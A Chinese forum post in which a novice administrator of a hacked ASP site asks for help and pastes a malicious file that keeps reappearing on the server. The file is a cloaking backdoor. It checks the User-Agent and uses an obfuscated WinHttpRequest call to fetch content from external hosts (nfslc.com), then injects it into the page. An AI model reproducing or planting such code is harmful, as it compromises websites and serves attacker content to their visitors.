asp网站被黑了~该如何解决

asp网站被黑了~
服务器总是多这些文件,文件名都会不同,我只能用备份找出不同的删除,一删除过一天又出现其它名称的文件,用了COMODO和瑞星,豆是新手,用默认设置
束手无策中,请高手指点从哪解决



附某天多出的两文件~~~~~~
文件cende.asp
<%
if instr(1," "&lcase(Request.ServerVariables("HTTP_USER_AGENT"))&" ","http://",1)>0 then
%>


<%
Response.CharSet="gb2312"
Session.CodePage=936
Server.ScriptTimeOut=500
dim id,mmhuan,wang,mulu,wenjian


wang="http://huo.nfslc.com/sh/sh.asp"
lang="http://link.nfslc.com/new/n.asp"
response.write gethttppage(wang,"","get","","","","*/*","no",1)(0)
response.write gethttppage(lang,"","get","","","","*/*","no",1)(0)

response.end
%>

<%
  ' --------------------------------  
function gethttppage(url1,urlcode2,fangshi3,cookie4,neirong5,lailu6,accept7,zijie8,zhua9)  
  dim http,neirong,wjrhuan(5)
if len(url1)=0 then
gethttppage=wjrhuan
exit function
end if
  set http=Server.createobject("Win"&"Http.W"&"inHtt"&"pRe"&"quest"&".5.1")  
  TimeInterval=200
  lResolve=100
  lConnect=100
  lSend=100
  lReceive=100
  http.setTimeouts lResolve*1000,lConnect*1000,lSend*1000,lReceive*1000
http.Option(4) = 13056
http.Option(6) = zhua9  
http.open ucase(fangshi3),url1,false
if ucase(fangshi3)="POST" then
http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
end if
  http.setRequestHeader "Accept",accept7
if len(lailu6)>0 then
  http.setRequestHeader "Referer",lailu6
end if
  http.setRequestHeader "User-Agent","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
  http.setRequestHeader "Accept-Language","zh-cn"
  http.setRequestHeader "Connection","Keep-Alive"
  http.setRequestHeader "Cache-Control","no-cache"

if len(cookie4)>0 then
  http.setRequestHeader "Cookie",cookie4
else
end if

  http.send(neirong5)
wjrhuan(1)=http.getAllResponseHeaders()
wjrhuan(2)=http.status
wjrhuan(3)=http.statustext
wjrhuan(4)=http.responseText
dim wenben,wenbeni,wenben3,bianmaok
bianmaok=""
wenben=lcase(http.getAllResponseHeaders())
if instr(1,wenben,"content-type: ",1)=0 or instr(1,wenben,"content-type: text",1)>0 then
if instr(1,wenben,"content-type: ",1)>0 then
wenbeni=tiress(wenben,"content-type: ",chr(13)&chr(10))
if instr(1,wenbeni,"charset=",1)>0 then
bianmaok=tiress(wenbeni&chr(13)&chr(10),"charset=",chr(13)&chr(10))
end if
end if

if len(bianmaok)=0 then
wenbeni=zzqu(http.responseText,"<meta([^<]*)charset=([^<]*)>","=")

if len(wenbeni)>0 then
wenbeni=replace(wenbeni,"""","",1,-1,1)
wenbeni=replace(wenbeni,"'","",1,-1,1)
wenben3=zzqu(wenbeni,"charset=[a-z0-9-_]+","=")
bianmaok=tiress(wenben3,"charset=","renyaai")
end if
end if

if len(bianmaok)=10 then
If len(http.responseBody)>0 and AscB(MidB(http.responseBody,1,1))=&HEF and AscB(MidB(http.responseBody,2,1))=&HBB then  
bianmaok="utf-8"
elseif len(http.responseBody)>10 and AscB(MidB(http.responseBody,1,1))=&HFF and AscB(MidB(http.responseBody,2,1))=&HFE then